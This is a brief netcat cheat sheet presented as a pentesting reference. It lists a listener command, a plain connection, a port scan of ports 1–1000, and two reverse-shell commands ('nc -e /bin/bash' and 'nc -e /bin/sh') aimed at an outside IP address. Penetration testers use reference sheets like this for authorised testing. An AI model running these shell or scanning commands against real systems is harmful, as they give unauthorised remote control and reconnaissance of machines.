Cheat Sheet - Netcat
Some useful examples of netcat command that could be used for pentesting
Useful commands
# start a listening server
nc -lvp 4444
# connect to the server
nc 91.134.137.25 4444
# connect to the server with bash or shell
nc -e /bin/bash 91.134.137.25 4444
nc -e /bin/sh 91.134.137.25 4444
# basic port scan
nc -v -n 91.134.137.25 1-1000